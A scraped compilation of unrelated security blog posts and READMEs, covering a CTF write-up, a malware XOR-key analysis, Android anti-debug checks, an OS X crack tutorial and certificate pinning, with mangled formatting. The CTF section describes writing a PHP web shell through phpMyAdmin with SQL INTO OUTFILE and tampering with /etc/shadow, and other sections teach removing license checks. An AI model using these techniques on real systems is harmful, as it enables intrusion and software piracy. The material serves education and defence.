parsing on spaces\). I tokenize my variables around the first four and tenth
through fourteenth places in the line, the IP address and domain name. Then, I
dump everything out in our desired order. Simple and effective.  
  
But, Hal brings up an interesting twist. Like Paul's approach, mine also has
those ugly variable number of periods at the end, because we can't always
assume that the domain name has four elements. I thought about it for a while,
trying to push my first FOR /F loop to deal with this, and it got real ugly,
real fast. Lots of IF statements made it impractical. So, I came up with a
simpler approach: embedded FOR /F loops, the outer one to parse the file, and
the inner loop to parse a string from the outer loop's results. Here it is:  
  

[code]

    C:\> FOR /F "tokens=1-5" %a in (lookups.txt) do @(@FOR /F "tokens=1-4 delims=." %i in ("%a") do @echo %l.%k.%j.%i %e)
[/code]

  
  
What's this mess? Well, I use my outer FOR loop to parse lookups.txt into five
components, using the default delims of spaces. %a will contain the IP
address, with dots and all. The fifth item \(%e\) is the domain name. Then, in
my inner FOR loop, I parse the string %a, using delims of periods and a
variable of %i. That'll drop each octet of our IP address into a variable,
which we can echo out. Furthermore, it preserves our domain name as one chunk
in %e, regardless of the number of entities it has in it. I then just echo the
IP address \(reversing the octets, of course\) followed by the domain name.
There's one small drawback here: I leave the trailing period at the end of
every domain name. There's only one there, and it's there for all of them,
unlike the earlier approach. Still, this is very workable, and keeps the
command syntax almost typable. :\)

  

# StanfordPL/x64asm

**Created:**| _5/7/2017 10:27:40 AM_  
---|---  
**Updated:**| _5/7/2017 10:27:40 AM_  
**Author:**| __  
**Tags:**| _asm x64_  
  

  

# x64asm

x64asm is a c++11 library for working with x86\_64 assembly. It provides a
parser, in-memory assembler and linker, and primitives for building data flow
analyses. x64asm was built with the following design goals in mind:

  * **Simplicity:** x64 asm does NOT include a register allocator, instruction scheduler, control flow graph builder, or any of the features you would expect of a full compiler. It is a low-level library for building YOUR optimizing compiler.
  * **Completeness:** x64asm supports the entire ring 3 application level subset of the x86\_64 instruction set, including the most recent AVX2/BMI1/BMI2/FMA extensions.
  * **Correctness:** The majority of the source in the x64asm repository is auto-generated using a declarative specification. This means that bugs can be fixed quickly without major modifications to its codebase.

### Supported Platforms:

  * Ubuntu 12.04 LTS
  * Ubuntu 13.10
  * Ubuntu 14.04 LTS

### Getting started:

Dependencies are available through ` apt-get `.

[code]

    $ sudo apt-get install bison ccache doxygen flex g++ g++-multilib ghc libghc-regex-tdfa-dev libghc-regex-compat-dev libghc-split-dev
    
[/code]

To build x64asm, type:

[code]

    $ make (release|profile|debug)
    
[/code]

For examples of how to use the library, browse the ` examples/ ` folder:

  * ` abi.cc ` How the assembler API interacts with the linux ABI.
  * ` constants.cc ` Shows off the set of built-in assembler constants.
  * ` context.cc ` How to assemble functions that modify program state.
  * ` dataflow.cc ` How to use the dataflow API.
  * ` functions.cc ` How to assemble functions that call other functions.
  * ` hello.cc ` How to use the assembler API; look here first.
  * ` linker.cc ` How to assemble functions with external linkage.

And to use x64asm as an assembler from the command line, type:

[code]

    $ cat test.s | <path/to/here>/bin/asm 
    
[/code]

To use x64asm as part of a larger project, include the header:

[code]

    #include "<path/to/here>/include/x64asm.h"
    
    int main() {
      // ...
      return 0;
    }
[/code]

and link against the library:

[code]

    $ g++ code.cc -I<path/to/here> <path/to/here>/lib/x64.a
    
[/code]

#### Undefined Assembler Behavior

Jumps to undefined labels are handled by emitting a 32-bit relative
displacement of 0x00000000.

#### Assembler Simplifications

Deciding between the 8- and 32-bit relative displacement forms of jump
instructions is known as the \(NP hard\) branch displacement problem. The
primary consequence of this decision is code size. Most compilers solve this
problem using an iterative algorithm which initially assumes 8-bit
displacements and then adjusts as necessary. We emit all jumps to labels using
the 32-bit form.

#### Memory Types

In many cases, the only thing distinguishing two otherwise identical
instructions is operand type. Furthermore, certain operand types \(ie. M16\)
are required for infering prefix bytes. We account for this by introducing a
distinct memory type for each operand type appearing in the Intel manual.
Barring these requirements, a single memory type would simplify our
implementation.

#### Ambiguity

The x86\_64 instruction set contains many instructions that are
indistinguishable up to mnemonic and operand. These ambiguities represent a
distinction without a difference. They are alternate hardware methods for
performing the same operation, which as far as we know, have no noticable
performance tradeoffs. We remove this redudancy by choosing the encoding
preferred by g++.

#### Intel Eratta

Most of the source code in this project is automatically generated using the
the x64.csv spreadsheet. Unless otherwise noted below, the contents of the
spreadsheet are transcribed directly from the Intel manuals. If you discover
an error, or an edit which has not been documented below, please submit an
error report.

#### String Instructions

Each instruction in this class takes an optional memory argument\(s\) which is
\(are\) ignored except for the purpose of distinguishing operand width, ie:
CMPS M8 = CMPSB, and for specifying a memory address prefix \(67\), which
affects the implicit memory operand. Note that for the short form of these
instructions, we add a PREF.66+ annotation, as there is no operand to induce
this value.

Although in principle, the short form versions of these instructions can be
modified by the addition of a memory address prefix \(67\), we ignore this
possibility and require the user to use the long form.

The Intel manual omits any mention of the memory address prefix \(67\) for the
LODS class of instructions. This is likely a typo, and we support the behavior
per the other instructions in this class.

#### CWD/CDQ/CQO/POPF/PUSHF

Each of the instructions in this class require a word prefix \(66\) to
distinguish the word version of the instruction from the otherwise identical
long version. Because there are no operands to infer this prefix, we add it
explicitly.

#### POPA/PUSHA

Each of the instructions in this class would have a similar problem to the
above. However, as these are unsupported in 64-bit mode, we ignore these.

#### IRET/IRETD/IRETQ

Each of the instructions in this class APPEAR as though they would have a
similar problem to the above, but don't. We've left them unmodified.

#### LEAVE/MOV/POP/RET/SYSEXT/SYSRET

Each of the instructions in this class suffer from ambiguity due to lack of
mnemonic variation. Furthermore, some of the instructions in this class, even
if they could be disambiguated by mnemonic, require prefix bytes which cannot
be infered due to lack of operand. We add both an explicit annotation and
operand to distinguish these cases. The Intel manual is unclear on what adding
the REX.w+ prefix to MOV \[mem8\] AL accomplishes, but we support this
behavior nonetheless.

#### XLATB

The rex.w prefix is a meaningless distinction in 64-bit mode. As a result, we
do not support a distinction between the latter two variants of this
instruction.

#### REP/REPE/REPZ/REPNE/REPNZ

The REX.w prefix has no control over count register for these instructions. It
functions simply to disambiguate the 64-bit operand version of some versions
of the instruction. Count register width is controled by the address width
prefix which follows from the long form version of each instruction. Note that
in contrast to the non-repeated versions of these instructions, no short form
is given.

In either case, where the REX.w prefix isn't used to disambiguate a 64 bit
operand form, it's use is meaningless. For these rows, any arbitrary choice of
encoding will suffice.

Note that we have also added underscores to these mnemonics to maintain the
one-word-per-mnemonic invariant.

#### Dataflow Values

Some dataflow information is missing and/or incomplete. If you discover an
error, please submit a bug report.

#### Further documenation

See SPREADSHEET.md for the tiny bit of documentation on the internals that we
have, which is focused on the x86.csv file.

  

# Debugging Windows Applications with IDA WinDbg Plugin

**Created:**| _1/1/2010 10:03:31 PM_  
---|---  
**Updated:**| _1/1/2010 10:03:49 PM_  
**Author:**| __  
**Tags:**| _bookmark iDA Tutorials windbg_  
  
<img src='img/Temp2_2034' />

# Computer Forensics, Malware Analysis & Digital Investigations: EnCase +
F-Response + EnScript = very affordable network forensics & eDiscovery

**Created:**| _3/11/2010 7:43:48 PM_  
---|---  
**Updated:**| _3/11/2010 7:43:54 PM_  
**Author:**| __  
**Tags:**| _security tools Forensics_  
  

### EnCase + F-Response + EnScript = very affordable network forensics &
eDiscovery

Most of you are familiar with and have seen the numerous posts on various
blogs & websites about the capabilities of F-Response. If you don't already
own F-Response, you should go here first\!  
  
I don't work for F-Response or Guidance Software, nor do I have any financial
interest in either of their successes. I have been using EnCase for many years
and have "cut my teeth" using EnCase, so it's one of the primary tools I use.
But I cannot personally afford EnCase Enterprise, so I am always looking for
alternative ways to perform "Enterprise-wide" forensics. Enter F-Response.  
  
F-Response really helps bridge the gap of available affordable tools that
enable an examiner to do network based forensics or remote collections. The
only limitation with F-Response was that you really could not automate
F-Response in an unattended fashion and have it work together with EnCase,
until now :\)\)  
  
Matthew Shannon at F-Response has released a version of F-Response Enterprise
that now contains a scriptable object. That object can be controlled by any
program that supports COM. So basically, using the standard off-the-shelf
version of EnCase Forensic, you can automate the remote connection, analysis
and collection of whatever data you want, based on whatever criteria you wish
via EnScript.  
  
Below is a fully functional proof-of-concept EnScript that works with the new
version of F-Response Enterprise Edition. Requirements:  
  
You need EnCase Forensic version or Law Enforcement version \(not Enterprise\)  
You need the most recent version of F-Response Enterprise version \(download
page of http://www.f-response.com/\) and the new F-Response scriptable COM
object.  
  
To make this POC EnScript work, you need to have the latest version of
F-Response Enterprise installed and the basic configuration information
completed in the FEMC. Below is an example of the required information that
needs to be set in the FEMC:  
  
  

<img src='img/Temp2_1562.png' />

  
Once you have this information configured, you do not need the FEMC running,
but you do need the F-Response License Manager running and your F-Response
dongle connected.  
  
Once you have the above completed, you can open EnCase and run the EnScript
below. It will ask for the credentials for the remote machine. The credentials
are used to install, start, stop and uninstall the F-Response client on the
remote machine, just like if you were doing this manually in the FEMC. The
F-Response client does not neet to be installed and/or running already.
Specify a remote IP address \(or several\) then click "OK":  
  

<img src='img/Temp2_1563.png' />

  

  

This POC EnScript is specifically designed to search all the remote IP
addresses \(or machine names\) and find a specific file named
"F-Response\_text.txt" \(case sensitive\) on the remote machine. If the file
is found, EnCase will print out the full path, logical size and created date
in the console. This is just a basic POC to demonstrate the capabilities, but
the possibilities are endless. You can do \*anything\* you could normally do
while looking at a local disk or evidence file in EnCase. Want to connect to a
list of remote machines and collect certain files that match certain criteria?
i.e. size, extension, location, whatever? No problem, it can now be done
programmatically.

  

If you were starting from scratch and didn't have either of these tools, the
total price to get the tools would be about $8,500. The great thing is both of
these are already widely used and owned by many people. You may not have the
Enterprise version of F-Response, but you can upgrade to that and have this
capability for just a few thousand dollars.

  

If you are interested in beta testing a full version of the EnScript that
collects files based on user-definable criteria, send me an email at
beta\(at\)forensickb.com with "beta test" in the subject line.

  
Download Here

  

# Tenable Network Security: NYC InfraGard Capture The Flag Event

**Created:**| _7/31/2009 2:29:33 PM_  
---|---  
**Updated:**| _7/31/2009 2:29:45 PM_  
**Author:**| __  
**Tags:**| _pentest_  
  

### NYC InfraGard Capture The Flag Event

On July 21-22, 2009 Renaud and I attended the New York City Infragard CTF
event. It was a great experience being able to participate in the games, learn
and teach people about security. Below is a breakdown of how the event was
organized, including several examples of attack and defense techniques we
performed.

<img src='img/Temp2_7944.png' width='140' height='186' alt='nyc.png' />

### Day 1 - The Game

The game is divided into two areas; one for attackers \("Red Cell"\) and one
for defenders \("Blue Cell"\). The Blue Cell is further divided into teams,
each defending a set of machines that represents a real company. The attackers
can use whatever tools they have at their disposal. The defenders must defend
everything from mock SCADA systems, VoIP, Microsoft Exchange and web servers
running several different web applications. It is a good representation of
what a real company may look like, which makes this type of exercise
particularly educational.  

  
Renaud Deraison and I spent the first day participating in the exercise and
attacking the Blue Cell. We gained access to the first system by guessing the
password based on web reconnaissance \(they had renamed a directory to the
same value as the root password\). This may seem like something that never
happens in the real world, but don't forget the Blue Cell teams are under a
lot of pressure, and when stressed in this environment, tend to make mistakes.
This is one value of the exercise; you get to see what mistakes are made
during the game so you don't make them in the real world. Passwords can be the
weakest link in your defense and need to be audited frequently by either
attempting to crack them or brute force attempts against exposed services. I
recommend that organizations implement a password policy and enforce it.

<img src='img/Temp2_7945.png' width='140' height='141' alt='laptop_chat.png'
/>

##### **We penetrated the Blue Team chat channel and performed social
engineering attacks in the chat room.**

The team we were attacking was doing their best to fend off our attacks. They
were actively terminating our connections on the firewall, which made it
difficult to maintain connections after we gained access to a system. We
managed to lock the defenders out of the system by adding new users and then
changing the attributes on the /etc/passwd and /etc/shadow files to slow them
down when removing our changes. Monitoring system changes for suspicious
activity is critical. For example, you could use the Tenable Log Correlation
Engine's user tracking feature to identify new users and their IP addresses.
You can also use Nessus Compliance Checks to identify changes to file
permissions.

One weakness, common in many organizations and in the systems used for the
game, was the use of LANMAN hashes. NTLM is a very insecure method of storing
password hashes for Windows systems. It is considered a legacy authentication
protocol, however it remains in widespread use for backward compatibility.
During the game, we were able to use our access to the Linux systems to then
compromise the Windows systems. Once a Windows system was compromised, we
would obtain the password hashes. Without cracking or brute forcing the
password, this gave us access to any other system using the same password. You
can use Nessus and smbshell to perform further auditing of hosts with just the
password hashes. As a defender, it is important to disable the NTLM hashes .
You can use Nessus Compliance Checks to audit registry values across all
Windows machines in your environment. Various audit policies will check to be
certain that NTLM password hashes are not being stored. For example, the CIS
Benchmarks for Windows systems contain checks such as:

[code]

    # Minor Security Settings - LAN Mangager Authentication Level
    #
    # 0 = Send LM & NTLM responses
    # 1 = Send LM & NTLM - use NTLMv2 session security if negotiated
    # 2 = Send NTLM response only
    # 3 = Send NTLMv2 response only
    # 4 = Send NTLMv2 response only\refuse LM
    # 5 = Send NTLMv2 response only\refuse LM & NTLM
    #
    
     type: REGISTRY_SETTING
     description: "Minor Security Settings - LAN Mangager Authentication Level: 
    Send NTLMv2 response only (minimum)"
     value_type: POLICY_DWORD
     value_data: [3..5]
     reg_key: "HKLM\System\CurrentControlSet\Control\Lsa"
     reg_item: "lmcompatibilitylevel"
     reg_type: REG_DWORD
     info: "v1.2.2 Page 18"
    
    
[/code]  
---  
We spent some time with web application attacks as well, and found several
vulnerabilities, including XSS and SQLi. However, a wide-open phpMyAdmin
installation \(i.e. did not require a password\) on the team's systems was by
far the most useful attack vector. PhpMyAdmin allows you to manage your MySQL
databases using a web interface. It is the equivalent of a prompt at the MySQL
command line. An attacker who has unrestricted access to the database can
easily gain full control of the system. We constructed the following SQL query
to give us command execution access:

[code]

    SELECT "" 
    FROM 
[/code]

LIMIT 0,1 into OUTFILE "/var/www/html/cmd.php"|  
---
[code]

      
    This query will write out a new PHP file that will allow remote command execution. In order to be successful you need to specify a valid table name, a file path that is writable by the database server and accessible by the web server. From the defenders perspective, it is important not to leave phpMyAdmin open to the world without a password. In fact, a better solution is to make sure phpMyAdmin is not accessible, even with a password, to prevent attackers from accessing the database. If this type of application is required, you can use the Passive Vulnerability Scanner to detect SQL injection attempts. In addition, PVS contains rules that look for the result of operating system commands going across the network. For example, plugin ID 0105 looks for the result of the "id" command on Linux:
    
[/code]

[code]

    pmatch=id
    match=uid=0(root) gid=0(sys)
[/code]  
---
[code]

      
    There are also plugins that look for Windows commands being run. For example, plugin id 0202 looks for a common error on the Windows command line:  
    
    
[/code]

[code]

    description=The results of an attempt to execute an unknown Windows command 
    occurred in a TCP session normally used for a standard service. This may
    indicate a successful compromise of this service has occurred.
    risk=HIGH
    match=is not recognized
    match=internal or external command
    match=^operable program or batch file.
[/code]  
---
[code]

      
      
    
[/code]  
<img src='img/Temp2_7943.png' width='220' height='165' alt='ciscohuman.png' />

##### **The event was held at the Cisco Systems office in New York City.
Depicted above is the "Human Network".**

[code]

      
    
[/code]

### Day 2 - The Debrief

[code]

      
    The second day provided an opportunity to teach the players (both Red and Blue teams) how we compromised the systems, the tools that were used and some defensive measures that could have been implemented. I provided a demonstration of several tools used by the attackers, including Nessus, how to integrate Nmap data into Nessus, import Nessus results into other tools and use the new Nessus web application testing features. The interesting part of the demonstration was that I was attacking a live network that was actively being defended. I showed how Nessus is configured to run a scan, and went through the results in real-time, showing how it was able to find anonymous FTP access, cross-site scripting and missing Windows patches. It was a great opportunity for everyone to see Nessus in action and ask questions. Since we were hosted in the Cisco office in New York City, there were some questions about whether or not Nessus had support for IPv6 (which was added in version 3.2-beta).
    
[/code]

### Conclusion

[code]

      
    This was an educational event for both the defenders and the attackers. It provided an opportunity for people to test their skills in computer security and learn about tools and techniques in a real-world environment. From the attacker's perspective, a combination of automated tools,manual testing and persistence was a successful strategy. Automated tools, such as Nessus, proved very useful for the attackers to quickly identify vulnerabilities in the target systems. The defenders also benefitted from tools such as Nessus to help identify vulnerabilities and remediate as quickly as possible. Tenable's enterprise tools contain functionality that help the defenders identify attacks, both on the network and from the system logs.
    
[/code]

# malware tracker blog: XLS CVE-2009-3129 and countering cryptanalysis
technique

**Created:**| _4/7/2012 11:32:55 AM_  
---|---  
**Updated:**| _4/7/2012 11:32:55 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis Obfuscation_  
  

### XLS CVE-2009-3129 and countering cryptanalysis technique

We've recently come across a new technique to evade cryptographic analysis of
malware documents by avoiding XOR key leakage by not encrypting any zero-
blocks of the malware payload.  
  
The method does take more complicated shellcode and can be tricky, we've
previously only seen this technique used with one byte XOR keys, in this case
we have a 8 byte XOR key used to encrypt an executable and clean dropped .doc
file.  
  
Sample: MAP forecast template\_2012.xls / f2e17c8954569ca2b20428f4c3112a30  
  
<img src='img/Temp2_10440.png' />  
  
  
Looking at the original XLS file, we can see that the embedded malware's zero
space is not encrypted, the actual XOR key does not appear anywhere in the
file:  
  
  
<img src='img/Temp2_10444.png' />  
  
In the image above, we can see that fragments of the inverse XOR key are left
when a block of FF characters is encrypted with the 8 byte key. We can see the
pattern b181826c015bd079 appears to repeat, since FF in binary is 11111111,
XORing FF will leak the bitwise NOT of the key \(compared to the full key when
XORing 00000000\). Using the inverse key and calculating the NOT gets us the
actual key 4E7E7D93FEA42F86. Which shows the FF space as suspected:  
  
<img src='img/Temp2_10439.png' />  
  
And the malware in encrypted form:  
  
  
<img src='img/Temp2_10443.png' />  
  
And decrypted we can see the MZ Header:  
  
<img src='img/Temp2_10441.png' />  
  
We've added the above as a feature to our Cryptam document malware anaylysis
system, this is the report for this XLS trojan:  
  
<img src='img/Temp2_10442.png' />  
  
And we've added a new "zero space not replaced" field to the cryptanalysis
section. We'll add proper decoding for this in our public tools soon.  
<img src='img/Temp2_10445.png' />  
  
Other new features in the latest release of Cryptam :  

  * Enhanced Max OSX malware embedded in documents' detection.
  * Retina resolution images in all reports.
  * More accurate CVE-2010-3333 RTF exploit signature
  * Open XML document format scanning - docx, pptx, xlsx.

# android cracking: protection by checking for debuggers

**Created:**| _6/9/2011 11:21:51 AM_  
---|---  
**Updated:**| _6/9/2011 11:21:51 AM_  
**Author:**| __  
**Tags:**| _crackers android_  
  

### protection by checking for debuggers

one way to figure out what an app is doing is to use a debugger so you can
step through line by line. apktool makes it possible to debug apps to which
you do not have the source, and you also have to setup a few other things
covered in lesson 1 of the way of the android crack tutorials.  
  
some apps try to protect against this and there are two techniques of doing
so. the first is to check the android manifest to see if the app is set to
debuggable. the java code would look something like this:  
  

?

123| `boolean` `isDebuggable = (``0` `!= (getApplcationInfo().flags &=
ApplicationInfo.FLAG_DEBUGGABLE));``if` `( isDebuggable )``
``invalidLicense();` `// you get the idea`  
---|---  
  
in smali, specifically from the testtarget app distributed with antilvl, it
looks like:  

?

1234567891011121314| `# get app info object``invoke-virtual` `{``p0``},`
`Lcom/lohan/testtarget/Main;``-``>getApplicationInfo()``Landroid/content/pm/ApplicationInfo;``move-
result-object` `v1` `# get flags mask``iget` `v2``,` `v1``,`
`Landroid/content/pm/ApplicationInfo;``->``flags:I` `# 0x2 is
ApplicationInfo.FLAG_DEBUGGABLE``and-int/lit8` `v2``,` `v2``,` `0x2` `iput`
`v2``,` `v1``,` `Landroid/content/pm/ApplicationInfo;``->``flags:I` `# if v2
is 0x0 (the debuggable flag is not set), goto :cond_0``if-eqz` `v2``, :cond_0`  
---|---  
  
  
the second method is to check if a debugger is currently connected. the java
looks like:  

?

1| `boolean` `debugConn = Debug.isDebuggerConnected();`  
---|---

# CA Security Council | Public Key Pinning
**Created:**| _8/31/2013 10:28:09 AM_  
---|---  
**Updated:**| _8/31/2013 10:28:09 AM_  
**Author:**| __  
**Tags:**| _crypto pki_  
  

# **P** ublic Key Pinning****

Posted by Bruce Morton  on August 28, 2013 0 comments

The current browser-certification authority \(CA\) trust model allows a
website owner to obtain its SSL certificate from any one of a number of
CAs**.** That flexibility also means that a certificate mis-issued by a CA
other than the authorized CA chosen by the website owner, would also be
accepted as trustworthy by browsers**.**

This problem was displayed most dramatically by the DigiNotar attack in 2011
and in a mistaken CA certificate issued by TURKTRUST  in 2012**.** In these
cases, certificates were issued to domains that were not approved by the
domain owner**.** Fortunately, the problem was detected in both cases by
public key pinning, which Google implemented in Chrome**.**

So what is public key pinning**?** Public key pinning allows the website owner
to make a statement that its SSL certificate must have one or more of the
following:

  * A specified public key
  * Signed by a CA with this public key
  * Hierarchal-trust to a CA with this public key

If a certificate for the website owner’s domain is issued by a CA that is not
listed \(i**.** e**.** , not pinned\), then a browser that supports public key
pinning will provide a trust dialogue warning**.** Please note that website
owners can pin multiple keys from multiple CAs if desired, and all will be
treated as valid by the browsers**.**

The website owner trusts that its chosen, specified CAs will not mistakenly
issue a certificate for the owner’s domain**.** These CAs often restrict who
can request the issuance of a certificate for the owner’s specific domains,
which provides additional security against mis-issuance of certificates to an
unauthorized party**.**

Unfortunately, the public key pinning that Google implemented in 2011 is not
scalable as it requires the public keys for each domain to be added to the
browser**.**

A new, scalable public key pinning solution is being documented through a
proposed IETF RFC **.** In this proposal, the public key pins will be defined
through an HTTP header from the server to the browser**.** The header options
may contain a SHA-1 and/or SHA-256 key algorithm, maximum age of pin, whether
it supports subdomains, the URI to report errors, and the strictness of the
pinning**.**

An example of a pin would look as follows:

> Public-Key-Pins: pin-sha1=”4n972HfV354KP560yw4uqe/baXc=”;  
>  pin-sha1=”qvTGHdzF6KLavt4PO0gs2a6pQ00=”;  
>  pin-sha256=”LPJNul+wow4m6DsqxbninhsWHlwfp0JecwQzYpOLmCQ=”;  
>  max-age=10000; includeSubDomains
Implementing public key pinning will require website owners to make some
critical early decisions, such as to how many keys to pin, whether to pin keys
for subdomains and what to select as the maximum age of the pin**.**

The number of keys to pin and the maximum age of the pin will address the
issue of acceptability of your website to browsers**.** Adding more keys to
pin will useful, if your key may change due to changes at your CA or in the
event of migration from one CA to another**.** The maximum age means the pin
expires after a maximum number of seconds**.** By limiting the maximum age,
any mistake in the pin will expire over a period of time**.** The proposed RFC
indicates that 60 days would be a good maximum age of the pin**.**

Website owners who use pinning will also have to keep their pinning records up
to date to avoid warning messages for replacement certificates the use are
supported by a key which is not pinned**.** The benefit of potential warnings
to the public for non-authorized certificates may justify this extra
effort**.**

Pinning is also being looked at by Microsoft for the Enhanced Mitigation
Experience Toolkit \(EMET\)  and by the Android project for Android 4**.** 2
**.** We will see if other applications will also use pinning**.**

****

# UAtester now in Backtrack 5\! « Cатсн²² \(in\)sесuяitу / ChrisJohnRiley

**Created:**| _5/17/2011 7:36:05 PM_  
---|---  
**Updated:**| _5/17/2011 7:36:05 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS_  
  

## UAtester now in Backtrack 5\!

Leave a Comment Posted by ChrisJohnRiley on May 16, 2011

Just a quick one to say that those interested in testing out the UAtester
script can find the latest version in the newly released Backtrack 5. It’s a
real honor to get UAtester accepted to a distribution like Backtrack, so I
hope you guys enjoy and make use of it\!

Menu Location ::

Backtrack **|** Information Gathering **|** Web Application Analysis **|** IDS
IPS Identification

<img src='img/backtrack5.png' />

# KellogS' OS X RevEng Log: Essay 0: Intro to OS X Reversing

**Created:**| _7/25/2009 5:20:48 PM_  
---|---  
**Updated:**| _9/18/2009 10:30:25 AM_  
**Author:**| __  
**Tags:**| _reversing Mac-hacking_  
  

### Essay 0: Intro to OS X Reversing

Run it. Dasm it. Crack it. Patch it. Now Upgrade it.  
by KellogS, May 2007.  
  
  
<img src='img/Temp2_4768.png' alt='Creative Commons License' />  
  
  
This work is licensed under a  
Creative Commons Attribution-Noncommercial-Share Alike 2.5 License.  
  
  
0.0 Intro  
  
As already mentioned in earlier posts, the target for this essay is Apple's
Dashcode. A Dashboard's widgets creation program. Now in beta, it'll expire on
the 15th of July \(as Apple probably don't want to have to support it when the
final come out\). It's free for registered apple developer \(also free\). As a
free tool, you may wonder that patching this program is kinda useless... and
you will be right\! Read on.  
What you'll get by the end of this essay is NOT a link to a ready made crack,
NOR a 699$ app. No, what you may get is some tools and techniques used to
reverse softwares \(and that's the priceless part\). If you want some pirated
softwares or cracks, you may better stop reading this and leave now. As an old
master once said: "you don't need to crack its protection scheme at all:
you'll find it on most Warez sites, complete and already regged, farewell,
don't come back."  
  
Still here ? Good.  
  
This article is targeted at newbies, if you have even basic experience in
software reversing on other platforms, you'll not learn that much:  
  
The protection is simple, the patch obvious and the reverser rusted.  
  
However, this article will show you \(some\) OS X particularities and the
tools needed to accomplish your task. If you have no experience at all, every
steps will be explained \(but you may need to read some docs if you want to
have a better understanding of some parts \(mainly assembly\). I may also say
semi-truths when we don't need to go deeper on a subject to move on. So please
forgive me for that and for my English, which is still not my mother
tongue....  
  
  
0.1 Tools of the trade  
  
As the tools needed were mentioned in previous posts, you should already have
them but let's do a recap:  
  
\* XCode, for the invaluable Docs and the GCC compiler \(needed for
patcher.c\).  
\* otx, disassembler.  
\* 0xED, or any other hexadecimal editor.  
\* TextWrangler, or your favorite text editor \(shoulds handle big files\).  
\* NASM, The Netwide Assembler installable through Darwinports.  
  
See previous posts, tools and links sections if you miss anything.  
  
  
0.2 Mac Applications \(or what the hell is a ".app" ?\)  
  
First, let me tell you something about "Mac" Applications that you may already
know. Macintosh \(and in our case OS X\) apps rarely need to be installed,
instead you just drop the "Application.app" in your Applications folder and
that's it. Now, Have a closer look at a ".app" file... it's a folder\! There
is several ways to find this out. One is to go in a Terminal window and cd to
something.app/. A second one is to right click \(or command-click, whatever is
your stuff\) on a .app and select the "Show Package Contents" option, which
open a new Finder window. So now that we've found out that a .app is just a
folder, let's see what kind of files lies inside \(taken from Dashcode.app\):  
  
  

  
Dashcode.app/  
|\_\_Contents/  
| |\_\_Frameworks/  
| |\_\_...  
|\_\_Info.plist  
|\_\_version.plist  
|\_\_MacOS/  
| |\_\_Dashcode  
|\_\_PkgInfo  
|\_\_Resources/  
|\_\_...  
|\_\_English.lproj/  
|\_\_MainMenu.nib  
|\_\_...  

  
  

  

  

As you have guessed, I didn't list every freaking files, only the interesting
ones. I'll be quick on the Framework folder, let's say for now that it
contains libraries. .plist files are just XML files that may contain various
informations \(versions, application's default settings and such\). You'll not
need to alter them in most case. Then the Resources folder which contains a
shit load of \(drum roll\),  
resources; application's scripts, icons, images, etc. Inside the Resources
folder is an English.lproj folder, which holds a lot of ".nib" files.  
  
NIB stands for \(let's take a guess\): NeXT Interface Builder. If you don't
know what NeXT stands for, you may want to check the wikipedia article
referenced in the appendix. NIBs are resources files, Defining items such as
Menu, Windows, Buttons, Text Fields, and whatnot. Using the resources could
come handy for some target - but that'll be for another essay. If you try to
open any of this NIBs files it should launch XCode's Interface Builder. And
last but not least, the MacOS folder which contains a single file named
"Dashcode". That's the one we're interested in, that's the "binary". That's
the part we'll disassemble, we may get clues about a protection from other
files \(e.g. NIBs\) that's still in this file that we well analyze and patch
thee program logical flow to alter its behavior.  
  
As you may have heard, the so called Universal Binaries contains code for both
architectures, PowerPC and x86. As the otx disassembler will take care of
giving us an aligned assembly listing for the Intel part of the code. We don't
need to bother with the file header. We should have everything, let's start
looking at our target.  
  
  

0.3 Dashcode  

  

Download Dashcode and run it, play with it, quit it. Set your system's clock
to some date later than 15th July 2007. Run it again, It shoulds pop up a box
telling you than this beta software has expired.  
Set your date back, and run it again... Now that we know how the software
behave we'll disassemble it. Fire  
otx, open Dashcode.app/Contents/MacOS/Dashcode, be sure to select x86 and save
the disassembly listing somewhere. Open the listing in your favorite text
editor. Now let's talk a bit about assembly.  

  

  
  

0.4 A few things about x86 assembly language

  
  

This section is by no way an extensive introduction to x86 assembly. This is
just the basis. For a complete introduction to x86 asm, check the appendix
section at the end. So let's have look at a line of disassembly. Go to your
text editor and look a the beginning of the file, you should see this first
line of assembly:  

  

  
+0 00008ae4 6a00 pushl $0x00  
L O M I S D  

  

  
\* L is line number from the beginning of the function.  
\* O is the offset, the address the instruction.  
\* M is machine code, the hexadecimal representation of the instruction.  
\* I is the actual assembly instruction.  
\* S the source parameter of the instruction.  
\* D the destination parameter not the instruction \(none in this example\).  
  
  
The important part on this line is obviously pushl $0x00, the assembly
instruction. This instruction, puts $0x00 on top of the stack \(it's a LIFO,
last in, first out, stack\). Instruction have two parts, the opcode \(pushl\)
and the operand\(s\) \(0x00\). Now look at the machine code for this
instruction, that's this 6a00 you see in the M column. The 6a part is the
actual instruction and 00 its operand. In this example we've seen the pushl
instruction but it's only one in many \(thanks Intel\). Most of the time
you'll encounter the same few ones. Let's have a look at the the most common
opcodes \(or family of instructions\):  
  
\* Working with the stack, pushing/pulling data.  
\* Copying data between registers and memory \(e.g. mov, movl, lea\)  
\* Comparing data, between registers, memory \(cmp, test\)  
\* Branching, jumping to some offset under certain conditions \(jmp, jne,
jel\)  
\* Calling functions \(call,calll,lea\)  
\* Arithmetic and Boolean functions \(xor, inc, mul, sub\)  
\* No Operation \(nop\), which does exactly what it mean.  
  
  
Some instructions take two parameters \(mov\) some one \(push\) some none
\(nop\). The instruction's first parameter is the source, the second one the
destination. Example in:

  

  
mov ecx,eax  

  

  
The content of eax is copied to the eax register. Registers are just memory
slots inside the CPU. They holds value/data that the processor will need to...
well, process. Certain registers have special purposes \(like holding the
program counter\) and other have purpose by compiler convention \(e.g. the
same register will always get the return value of a function\). I'll not
elaborate more on assembly here, I'll explain the few instructions and
patterns that we'll encounter but again, refer to the Appendix for
documentations links.

  
  

  
0.5 Locating code in the dead listing  

  

First, let me tell you a little secret about software reversing. The most
difficult part is not altering the code \(shamelessly easy in Dashcode\).
Sometimes, not even understanding the protection \(obvious here\). No.
Sometimes, the most difficult part is finding where to start, where to look in
thousands of lines.  
As you'll see in future essays you don't look for the protection routine you
look at the symptoms it may express, hook on them and trace back. This will be
even more true when we'll debug - as opposed to disassemble - a target\). In
our particular example \(expiration date check\) this is not really an issue
since we have other ways to find the relevant part of the code. We know, that
somewhere, the program get the current date, checks it against July 15 2007
and if it's later, show an alert box and quit. At this point we may fire up
the XCode documentation's browser and start looking for \*date\* methods
\(functions\). But wait\! There is an easier way to find the relevant section
in the assembly listing. 2007 is probably not a number that the program use a
lot. So let's look for it. Convert 2007 to its hexadecimal equivalent, 7d7.
Call your text editor's find function and look for 000007d7. You should get
